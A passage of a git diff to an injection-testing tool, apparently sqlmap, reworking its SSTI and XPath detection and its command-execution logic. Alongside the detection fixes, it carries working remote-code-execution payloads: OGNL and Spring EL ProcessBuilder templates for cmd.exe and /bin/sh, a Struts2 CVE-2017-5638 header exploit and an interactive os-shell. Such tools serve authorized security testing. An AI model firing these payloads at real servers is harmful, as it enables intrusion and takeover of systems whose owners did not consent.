logger.info("NoSQL scan complete") diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index c62cb2af559..98b3fb8d464 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -23,6 +23,8 @@ from lib.core.settings import SSTI_ERROR_SIGNATURES from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import blockedStatus from thirdparty.six.moves.urllib.parse import quote as _quote @@ -211,8 +213,6 @@ def _degroup(text): ) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -273,11 +273,15 @@ def _send(place, parameter, value): kwargs = {"raise404": False, "silent": True} if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) - page, _, _ = Request.getPage(**kwargs) + page, _, code = Request.getPage(**kwargs) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample - + # signal None so the detection routines (which reject None) can never decide on it + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("SSTI probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.parameters[place] = old_params @@ -461,22 +465,39 @@ def _detectBoolean(place, parameter, engine): """Establish a boolean oracle for this engine. Returns the true template or None.""" original = _originalValue(place, parameter) or "" + # arithmetic-only engines (e.g. Struts2 OGNL) carry no boolean payloads - nothing to do here + if not engine.booleanTrue or not engine.booleanFalse: + return None + truePayload = original + engine.booleanTrue falsePayload = original + engine.booleanFalse + truePage = _send(place, parameter, truePayload) + falsePage = _send(place, parameter, falsePayload) + if not truePage or not falsePage: + return None + + trueText, falseText = getUnicode(truePage), getUnicode(falsePage) + + # a raw payload surviving in the response means the template did NOT evaluate it + if truePayload in trueText or falsePayload in falseText: + return None + + # an engine ERROR page is not a valid boolean rendering: a syntactically invalid true/false pair + # that merely trips two DIFFERENT error messages would otherwise diverge and fake an oracle + if _isError(truePage, engine) or _isError(falsePage, engine): + return None + if engine.trueRendered: - truePage = _send(place, parameter, truePayload) - if not truePage: + # attribution guard: the true marker must be ABSENT from the untouched baseline (else it is + # page furniture, not our evaluated output), PRESENT in the true page, and ABSENT from the + # false page - so the divergence is provably OUR rendered boolean, not incidental page drift + baseline = getUnicode(_send(place, parameter, original) or "") + if engine.trueRendered in baseline: return None - text = getUnicode(truePage) - if truePayload in text or engine.trueRendered not in text: + if engine.trueRendered not in trueText or engine.trueRendered in falseText: return None - # Reject reflected false payload - falsePage = _send(place, parameter, falsePayload) - if falsePage and falsePayload in getUnicode(falsePage): - return None - return _boolean(lambda p=truePayload: _send(place, parameter, p), lambda p=falsePayload: _send(place, parameter, p)) @@ -561,7 +582,12 @@ def _fingerprint(place, parameter): if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: break - if bestEngine and bestScore >= 3: + # CONFIRMED requires an EVALUATION proof - in-band arithmetic (randomized pair) or a template + # boolean oracle. Weak signals (error / distinguishing / family) are NOT summed into a + # confirmation: the old `score >= 3` let boolean+error, distinguishing+error, or even a lone + # generic parser error "confirm" SSTI with no proof the template actually evaluated our input + # (and then drive automatic RCE on an unproven finding). + if bestEngine and (bestEvidence.get("arithmetic") or bestEvidence.get("boolean")): # For engines with ambiguous delimiters (shared by multiple engines), # name a specific engine when: error fingerprint, distinguishing probe, # or boolean rendering is unique within the delimiter family. @@ -580,20 +606,20 @@ def _fingerprint(place, parameter): name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name)) return bestEngine, bestEvidence - # Fallback: generic error detection - errorBackend = None + # weak signals only (parser reachable, but NO evaluation proof) -> informational, NOT confirmed + if bestEngine and bestScore >= 1: + logger.info("%s parameter '%s' reaches a template parser (evidence: %s) but SSTI is NOT " + "confirmed - no arithmetic/boolean evaluation proof" % (place, parameter, ",".join(sorted(bestEvidence)) or "error")) + return None, None + + # generic parser-family error only -> informational, never a confirmed engine for suffix in ("{{", "${", "<%=", "#{"): page = _send(place, parameter, _originalValue(place, parameter) + suffix) - if page: - backend = _backendFromError(page) - if backend: - errorBackend = backend - break - - if errorBackend: - for engine in _ENGINE_TABLE: - if engine.name.lower() in errorBackend.lower(): - return engine, {"error": True} + backend = _backendFromError(page) if page else None + if backend: + logger.info("%s parameter '%s' triggers a %s template-parser error, but SSTI is NOT " + "confirmed (no evaluation proof)" % (place, parameter, backend)) + break return None, None @@ -605,8 +631,11 @@ def sstiScan(): logger.debug(debugMsg) # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 - # vector that needs no request parameter, so it is probed once up front. - if _probeStruts2Header(conf.url): + # vector that needs no request parameter, so it is probed once up front. Reporting it must NOT + # short-circuit the rest of the scan: request PARAMETERS can be independently SSTI-injectable and + # were previously never tested once this fired. + struts2 = _probeStruts2Header(conf.url) + if struts2: logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) if conf.beep: beep() @@ -621,11 +650,12 @@ def sstiScan(): _dumpS2045(conf.url, conf.osCmd) if conf.get("osShell"): _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) - logger.info("SSTI scan complete") - return if not conf.paramDict: - logger.error("no request parameters to test (use --data, GET params, or similar)") + if not struts2: + logger.error("no request parameters to test (use --data, GET params, or similar)") + else: + logger.info("SSTI scan complete") return tested = 0 @@ -649,7 +679,10 @@ def sstiScan(): if conf.beep: beep() - if engine.arithmeticFmt: + # report the payload that ACTUALLY proved the finding, not merely one the engine + # supports - showing the 7*7 arithmetic payload when only the boolean oracle fired + # misrepresents what was tested + if evidence.get("arithmetic") and engine.arithmeticFmt: payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7) else: payload = _originalValue(place, parameter) + engine.booleanTrue @@ -676,31 +709,44 @@ def sstiScan(): logger.info("back-end template engines: %s" % ", ".join(sorted(engines))) if found: - slot = found[0] - place, parameter, engine, evidence = slot - wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) - # If the user did not ask for exploitation, confirm (benignly) whether OS command - # execution is reachable and, if so, advise the relevant switches. - if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine): - logger.info("the back-end '%s' allows OS command execution via this injection; " - "you are advised to try '--os-shell' (interactive) or " - "'--os-cmd=' (single command)" % engine.name) + # Rank ALL confirmed vectors, not just found[0]: automatic exploitation must select the + # strongest VERIFIED takeover vector - the first confirmed slot may not support command + # execution while a later one does. Candidates are the exact-engine, proof-backed slots; the + # winner is the first whose reflection-proof RCE capability actually confirms. + candidates = [(pl, pr, en, ev) for (pl, pr, en, ev) in found if _canTakeover(en, ev)] + rceSlot = None + for pl, pr, en, ev in candidates: + if _probeRce(pl, pr, en): + rceSlot = (pl, pr, en, ev) + break + # `--ssti` is an auxiliary, self-contained switch, so once SSTI is confirmed we AUTOMATICALLY + # probe whether OS command execution is reachable and advise the takeover switches. Users of + # this niche switch generally don't know to try --os-shell/--os-cmd (actual execution still + # requires those switches). + if not wantsTakeover: + if rceSlot: + _, _, en, _ = rceSlot + logger.info("the back-end '%s' allows OS command execution via %s parameter '%s'; you " + "are advised to try '--os-shell' (interactive) or '--os-cmd=' " + "(single command)" % (en.name, rceSlot[0], rceSlot[1])) # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) - if conf.get("osCmd") or conf.get("osShell"): - if not _canTakeover(engine, evidence): - logger.error("takeover requires exact engine fingerprint (got '%s') and " - "confirmed proof (arithmetic or boolean oracle)" % engine.name) - else: - if conf.get("osCmd"): - _executeCommand(place, parameter, engine, conf.osCmd) + elif not candidates: + logger.error("takeover requires an exact engine fingerprint and confirmed proof " + "(arithmetic or boolean oracle); none of the confirmed vectors qualify") + else: + # prefer the capability-verified vector; fall back to the first takeover-capable candidate + # (the user explicitly asked, and _executeCommand carries its own capture fallbacks) + pl, pr, en, ev = rceSlot or candidates[0] + if conf.get("osCmd"): + _executeCommand(pl, pr, en, conf.osCmd) - # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which - # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. - if conf.get("osShell"): - _osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd)) + # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which reads + # commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. + if conf.get("osShell"): + _osShell(lambda cmd: _executeCommand(pl, pr, en, cmd)) logger.info("SSTI scan complete") @@ -738,6 +784,58 @@ def _canTakeover(engine, evidence): ), } +# Windows variants of the Java file-based channel: exec via cmd.exe (/bin/sh does not exist), read back +# the same way. Selected by _fileRceCapture when the Unix family did not confirm execution. +_FILE_RCE_WINDOWS = { + "Spring EL / Thymeleaf": ( + "${new ProcessBuilder(new String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'}).start()}", + "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", + ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), +} + + +# --- OS/shell-family RCE command builders ----------------------------------- +# Reflection-proof primitives per family; `_probeRce`/`_executeCommand` try each family (Unix first) so +# takeover works on a Windows-hosted template engine without a separate OS-detection round-trip. +# challenge(a, b) -> a command whose STDOUT is the derived product a*b (never in the request) +# framed(cmd, sa, sb, ea, eb) -> a command printing , the markers built by +# RUNTIME concatenation so the completed marker never appears in the request +def _unixChallenge(a, b): + return "echo $((%d*%d))" % (a, b) + + +def _winChallenge(a, b): + # `set /a` evaluates integer arithmetic and prints the result; cmd /c so it runs even when the engine + # execs a binary directly (Runtime.exec) rather than through a shell + return "cmd /c set /a %d*%d" % (a, b) + + +def _unixFramed(cmd, sa, sb, ea, eb): + # printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated + return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) + + +def _winFramed(cmd, sa, sb, ea, eb): + # `echo|set /p=X` prints X with NO trailing newline; `&` sequences the commands, so stdout is the + # runtime concatenation - the joined markers are absent from the request + return 'cmd /c "echo|set /p=%s&echo|set /p=%s&%s&echo|set /p=%s&echo|set /p=%s"' % (sa, sb, cmd, ea, eb) + + +_SHELL_FAMILIES = ( + ("unix", _unixChallenge, _unixFramed), + ("windows", _winChallenge, _winFramed), +) + +# per-family temp file + cleanup for the Java file-based channel +_FILE_TEMP = { + "unix": (lambda name: "/tmp/%s" % name, _FILE_RCE, lambda f: "rm -f %s" % f), + "windows": (lambda name: "%%TEMP%%\\%s" % name, _FILE_RCE_WINDOWS, lambda f: "cmd /c del /q %s" % f), +} + def _commandOutput(page, baseline, original, payload, engine): """Extract genuine command output from a response via baseline diff, rejecting error pages and @@ -764,7 +862,10 @@ def _commandOutput(page, baseline, original, payload, engine): output = output.strip() # A template that ECHOED our payload directive instead of executing it is reflection, not output. - if output and output in payload: + # The test is whether the injected DIRECTIVE leaked into the response (payload fragment present in + # output), NOT whether the output happens to be a substring of the payload - the latter discarded + # legitimate results such as `echo hello` -> "hello" (naturally a substring of "...echo hello..."). + if output and payload and (payload in output or _ratio(output, payload) >= UPPER_RATIO_BOUND): return None # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." @@ -782,72 +883,167 @@ def _commandOutput(page, baseline, original, payload, engine): def _fileRceCapture(place, parameter, engine, original, cmd, extract): """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload - (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a - callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), - so the read is retried a few times. Returns whatever 'extract' yields, else None.""" - spec = _FILE_RCE.get(engine.name) - if not spec: - return None + (redirects the command's output to a random temp file), then poll-read that file. Tries the Unix + family (/tmp, /bin/sh) then the Windows family (%TEMP%, cmd.exe). 'extract' is a callback + (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read + is retried a few times. Returns whatever 'extract' yields, else None.""" + for family, (tempPath, specs, cleanupCmd) in _FILE_TEMP.items(): + spec = specs.get(engine.name) + if not spec: + continue - execTemplate, readTemplate = spec - outFile = "/tmp/%s" % randomStr(length=12, lowercase=True) - execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) - _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + execTemplate, readTemplate = spec + outFile = tempPath(randomStr(length=12, lowercase=True)) + execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) + _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + + readPayload = readTemplate.replace("{OUTFILE}", outFile) + result = None + for _ in range(3): + page = _send(place, parameter, original + readPayload) + result = extract(readPayload, page) + if result is not None: + break + time.sleep(1) - readPayload = readTemplate.replace("{OUTFILE}", outFile) - for _ in range(3): - page = _send(place, parameter, original + readPayload) - result = extract(readPayload, page) + # best-effort cleanup: don't leave the random temp file behind on the target + try: + cleanup = execTemplate.replace("{CMD}", _escapeSingleQuoted(cleanupCmd(outFile))).replace("{OUTFILE}", outFile) + _send(place, parameter, original + cleanup) + except Exception: + pass if result is not None: return result - time.sleep(1) return None +def _derivedExecuted(page, baseline, expected): + """Reflection-proof proof-of-execution test using a DERIVED challenge. The probe runs `echo + $((A*B))`: only A and B appear in the request, never their product. A template/app that merely + REFLECTS the request - raw, URL-encoded, HTML-escaped, or otherwise transformed - therefore CANNOT + reproduce the product, because it is not present anywhere in the payload. So the product appearing + in the response, and being absent from the untouched baseline, is genuine command output. Returns + True or None (None keeps the _fileRceCapture callback contract).""" + if not page or (baseline and expected in baseline): + return None + return True if expected in page else None + + def _probeRce(place, parameter, engine): - """Benign, quiet RCE-capability check: run `echo ` via the engine's RCE payloads and - return True if the marker is reflected (proving OS command execution is reachable). Used only - to advise the user; it has no side effect beyond echoing a random token.""" + """Quiet RCE-capability check: run a DERIVED arithmetic challenge (`echo $((A*B))`) via the engine's + RCE payloads and confirm OS command execution is reachable. Used to advise the user once SSTI is + confirmed. The expected result (the product) is NOT present in the request, so no reflection - + encoded or not - can fake it (see _derivedExecuted); two independently-randomized confirmations are + required. In-band capture is tried first; if blocked (e.g. a hardened JDK whose stdout capture is + reflectively disabled) it confirms via the two-step file-based channel (inherently reflection-proof + - the value comes from shell evaluation into a file we wrote - and self-cleans).""" if not engine.rcePayloads: return False - marker = randomStr(length=12, lowercase=True) original = _originalValue(place, parameter) or "" - for payloadTemplate, _description in engine.rcePayloads: - payload = payloadTemplate.replace("{CMD}", "echo %s" % marker) - page = _send(place, parameter, original + payload) - if page and marker in getUnicode(page): - return True + baseline = getUnicode(_send(place, parameter, original) or "") + + # COUNT confirmations, not loop iterations: a challenge whose product coincidentally collides with + # the baseline is skipped and REGENERATED (it does not count as a confirmation), so an all-collision + # run can never fall through the loop and return success with zero executed payloads. + confirmed = generated = 0 + while confirmed < 2 and generated < 10: + generated += 1 + a, b = randomInt(4), randomInt(4) + expected = str(a * b) + if expected in baseline or expected in (str(a) + str(b)): # coincidental collision -> regenerate + continue - # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel - return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker, - lambda readPayload, page: True if (page and marker in getUnicode(page)) else None)) + hit = False + # try each OS/shell family's derived challenge (Unix first, then Windows `set /a`) + for _family, challenge, _framed in _SHELL_FAMILIES: + cmd = challenge(a, b) + for payloadTemplate, _description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", cmd) + page = getUnicode(_send(place, parameter, original + payload) or "") + if _derivedExecuted(page, baseline, expected): + hit = True + break + if hit: + break + + if not hit: + # in-band capture blocked -> confirm via the two-step file-based channel (self-cleaning); + # a Unix-family challenge is fine here (the file channel picks the OS family itself) + hit = bool(_fileRceCapture(place, parameter, engine, original, _unixChallenge(a, b), + lambda readPayload, page: _derivedExecuted(getUnicode(page or ""), baseline, expected))) + if not hit: + return False + confirmed += 1 + + return confirmed >= 2 + + +def _framedOutput(page, start, end): + """Slice a command's real stdout from a response that bracketed it between two DERIVED markers. Each + marker is the concatenation of two random fragments that the shell joins at runtime (`printf %s%s A + B` -> `AB`); the completed marker `AB` never appears literally in the request (which carries `A B` + separated), so a reflected payload - raw, URL-encoded, HTML-escaped, whitespace/case-normalized - + cannot reproduce it. Finding both markers in order therefore proves execution, and the text between + them is genuine output. Returns the sliced text or None.""" + if not page or start not in page: + return None + i = page.index(start) + len(start) + j = page.find(end, i) + if j < 0: + return None + return page[i:j].strip() def _executeCommand(place, parameter, engine, cmd): - """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one - produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened - Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE).""" + """Execute an OS command via the engine's RCE payloads. Preferred capture brackets the command's + output between two random markers so it slices out cleanly - immune to dynamic page material and to + reflection. Falls back to a baseline diff for engines whose RCE payload does not run through a shell + (no ';' sequencing), then to a two-step file-based capture for JDK-hardened Java engines whose in-band + stdout is reflectively blocked (see _FILE_RCE).""" safeCmd = _escapeSingleQuoted(cmd) original = _originalValue(place, parameter) or "" baseline = _send(place, parameter, original) + # (1) reflection-proof boundary-marker capture. Each marker is a RUNTIME concatenation of two + # fragments (`printf %s%s A B` -> `AB` on Unix; `echo|set /p=A&echo|set /p=B` -> `AB` on Windows), + # so the completed marker `AB` is never literally in the request - encoded/escaped reflection cannot + # forge it. Both OS families are tried (Unix first); the one whose shell actually runs wins. + for _family, _challenge, framed in _SHELL_FAMILIES: + sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4)) + start, end = sa + sb, ea + eb + framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb)) + for payloadTemplate, description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", framedCmd) + page = getUnicode(_send(place, parameter, original + payload) or "") + out = _framedOutput(page, start, end) + if out is not None: + conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out)) + return + + # (2) file-based capture (JDK-hardened Java engines) - reflection-proof (reads a file we wrote) + output = _fileRceCapture(place, parameter, engine, original, cmd, + lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) + return + + # (3) LAST resort: unframed payload + baseline diff. This channel is NOT reflection-proof - a + # baseline difference can be dynamic page material (a rotating CSRF token, timestamp, ad, request + # id), so its output is shown only with an explicit UNVERIFIED caveat, never as clean stdout. The + # command DID execute (blind), but the displayed text may not be its output. for payloadTemplate, description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", safeCmd) page = _send(place, parameter, original + payload) output = _commandOutput(page, baseline, original, payload, engine) if output is not None: - conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) + logger.warning("blind execution confirmed but no reflection-proof output channel; the text " + "below is an UNVERIFIED baseline diff and may include dynamic page material") + conf.dumper.singleString("\nos-shell (%s) [%s, UNVERIFIED diff]:\n%s" % (cmd, description, output)) return - output = _fileRceCapture(place, parameter, engine, original, cmd, - lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) - if output is not None: - conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) - return - logger.warning("no output received for OS command '%s'" % cmd) @@ -893,26 +1089,44 @@ def _s2045Send(url, action): def _probeStruts2Header(url): - """Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command - execution) and confirm it echoes back. Returns the marker on success, else None.""" - marker = randomStr(length=16, lowercase=True) - action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker - page = _s2045Send(url, action) - return marker if (page and marker in page) else None + """Detect CVE-2017-5638 with a reflection-PROOF derived challenge. Rather than printing a literal + marker (which a server that merely reflects the Content-Type header would echo back -> false + positive), have OGNL COMPUTE an arithmetic product and print it: only the operands A and B appear in + the header, never the product, so no header reflection - raw, HTML-escaped or URL-encoded - can + reproduce it. Requires TWO independently-randomized confirmations against a baseline. Returns True on + confirmed execution, else None.""" + baseline = _s2045Send(url, "(#resp.getWriter().flush())") # benign no-op baseline (no marker) + # COUNT confirmations, not iterations: a product colliding with the baseline is regenerated, so an + # all-collision run can never return success without an actually-evaluated challenge. + confirmed = generated = 0 + while confirmed < 2 and generated < 10: + generated += 1 + a, b = randomInt(4), randomInt(4) + expected = str(a * b) + if expected in (baseline or "") or expected in (str(a) + str(b)): + continue # coincidental collision -> regenerate + action = "(#w=#resp.getWriter()).(#w.print(%d*%d)).(#w.flush())" % (a, b) + page = _s2045Send(url, action) + if not (page and expected in page and expected not in (baseline or "")): + return None + confirmed += 1 + return True if confirmed >= 2 else None def _executeStruts2Header(url, cmd): """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is - bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also - carries the action's own HTML.""" - start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True) - wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end) + bracketed by DERIVED markers - each is two random fragments the shell concatenates at runtime + (`printf %s%s A B` -> `AB`), so the completed marker never appears literally in the header and a + reflected header cannot forge it (nor be sliced as fake 'output').""" + sa, sb, ea, eb = (randomStr(6, lowercase=True) for _ in range(4)) + start, end = sa + sb, ea + eb + wrapped = "printf %%s%%s %s %s; %s 2>&1; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." "(#p.redirectErrorStream(true)).(#pr=#p.start())." "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) page = _s2045Send(url, action) - if start in page and end in page: + if start in page and end in page and page.index(start) < page.index(end): return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") return None diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index da938cc24e3..2aa7922bccd 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import re import time @@ -18,6 +17,14 @@ from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import XPATH_CHAR_MAX from lib.core.settings import XPATH_CHAR_MIN @@ -31,6 +38,7 @@ SENTINEL = randomStr(length=10, lowercase=True) + XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) # Each detection breakout is paired with a false variant and an (optional) extraction @@ -86,8 +94,6 @@ Slot.__new__.__defaults__ = (None, None, None, None, None, None, None) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -145,17 +151,29 @@ def _send(place, parameter, value): kwargs = {"raise404": False, "silent": True} if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) - page, _, _ = Request.getPage(**kwargs) + page, _, code = Request.getPage(**kwargs) + # A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable + # oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence + # (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean + # routines and the extraction oracle already reject None, so it can never decide a bit. + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("XPath probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.parameters[place] = old_params def _isError(page): - return bool(re.search(XPATH_ERROR_REGEX, getUnicode(page or ""))) + # an XPath parser error OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template. The SQL/DBMS guard (reusing sqlmap's errors.xml via htmlParser + the generic + # `SQL (warning|error|syntax)` marker) is essential: a break-out like `*` or `') or ...` trips a + # DBMS syntax error on a SQL-injectable parameter, and that error page merely differs from a + # normal page - which would otherwise fake a boolean oracle and misreport SQLi as XPath. + page = getUnicode(page or "") + return bool(re.search(XPATH_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): @@ -163,7 +181,9 @@ def _backendFromError(page): for backend, regex in XPATH_ERROR_SIGNATURES: if re.search(regex, page): return backend - return "Generic XPath" if _isError(page) else None + # ONLY an actual XPath parser error names a (generic) XPath back-end - never a SQL/DBMS error + # (which _isError also flags now, but must not be attributed to XPath here) + return "Generic XPath" if re.search(XPATH_ERROR_REGEX, page) else None def _probeBackendByParserError(place, parameter): @@ -207,6 +227,10 @@ def _boolean(truthy, falsy): if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: return None + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: return truePage @@ -220,6 +244,32 @@ def _makePayload(original, boundary, predicate): return "%s%s%s" % (original, boundary.prefix, predicate) +# XPath 1.0-only boolean predicates: each pair differs ONLY in the XPath construct and flips +# true/false on a real XPath engine, while a SQL back-end errors on all of them (no divergence). +# A battery (not one primitive) survives an injection context that rejects any single function. +# DELIBERATELY EXCLUDED after live testing: substring() (MySQL also has it -> would false-positive) +# and anything using '/*' (a SQL comment opener). Validated SQL-safe on the karlobag MySQL junkyard. +_XPATH_PREDICATES = ( + ("string-length('ab')=2", "string-length('ab')=3"), + ("normalize-space(' a ')='a'", "normalize-space(' a ')='z'"), + ("translate('ab','a','x')='xb'", "translate('ab','a','x')='zz'"), +) + + +def _xpathConfirm(place, parameter, original, boundary): + """Confirm the injection context actually evaluates XPath, not SQL. The `' or '1'='1` break-out + family is IDENTICAL to classic SQL injection, so without a positive XPath-only proof a SQL- + injectable parameter would false-positive as XPath. Try the whole battery (wrapped in the SAME + verified boundary); ANY member that flips true/false proves an XPath parser.""" + for truePred, falsePred in _XPATH_PREDICATES: + truePayload = _makePayload(original, boundary, truePred) + falsePayload = _makePayload(original, boundary, falsePred) + if _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) is not None: + return True + return False + + def _detectBoolean(place, parameter): """Return (template, payload, boundary) for boolean-blind XPath injection. boundary is None for detection-only breakouts (wildcard, union).""" @@ -237,15 +287,16 @@ def _detectBoolean(place, parameter): lambda p=falseSpecific: _send(place, parameter, p)) if template: boundary = _BREAKOUT_BOUNDARY.get(breakout) + # an extractable (boundary-carrying) break-out shares its syntax with SQL injection; + # require an XPath-specific confirm before accepting it, else keep looking + if boundary and not _xpathConfirm(place, parameter, original, boundary): + continue return template, truePayload, boundary - # Wildcard: only useful for bool differentiation, not enumeration - if original: - template = _boolean(lambda: _send(place, parameter, "*"), - lambda: _send(place, parameter, SENTINEL)) - if template: - return template, "*", None - + # NOTE: no bare `*`-vs-sentinel wildcard fallback. A wildcard that returns more rows than a random + # term is normal search behavior, not proof of an XPath query-boundary escape, and it carries no + # boundary to confirm XPath (vs SQL) or to drive extraction. Detection rests only on an XPath- + # confirmed boolean break-out (above). return None, None, None @@ -276,6 +327,15 @@ def _xpathQuote(s): return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"')) +def _extractionBase(original, boundary): + """The base value the EXTRACTION payloads use (and therefore the base the oracle must be + calibrated with). An OR-style boundary is always-true whenever the original branch matches, so + extraction replaces the base with a non-matching SENTINEL; an AND-style boundary needs the + original branch to match, so it keeps the original. Calibrating with a different base than + extraction uses was the reviewer's core defect.""" + return SENTINEL if " or " in (boundary.prefix or "") else (original or "x") + + class _XPathPayloadBuilder(object): """Build XPath boolean predicates for blind tree-walking using the verified injection boundary from detection. Each method returns a complete payload.""" @@ -323,38 +383,60 @@ def charIndexAtLeast(self, target, pos, n): return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) -def _makeOracle(place, parameter, template): - """Build an oracle from a verified true template. extract(payload) returns - True when the response is closer to the true template than to the false page.""" +def _makeOracle(place, parameter, boundary, base): + """Build an extraction oracle by RECALIBRATING true/false models from the FINAL extraction base + + boundary - the SAME base the _XPathPayloadBuilder uses for every later predicate (SENTINEL for an + OR-style boundary, the original value for an AND-style one). Calibrating with the original value + while extraction ran with SENTINEL made the models mismatch the actual probes. Send the boundary's + own `true()` / `false()` predicates on that base, reproduce each, require them SEPARABLE; else + return None so extraction is disabled rather than emitting fabricated data.""" cache = {} def request(payload): + # Cache ONLY usable responses. A transient failure (timeout / 429 / intermittent 5xx / reset) + # must never be cached as if it were the answer - it would freeze a wrong bit for every later + # bisection step. An unusable response is re-sent on the next call instead. if payload not in cache: - cache[payload] = _send(place, parameter, payload) + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page return cache[payload] - falsePage = 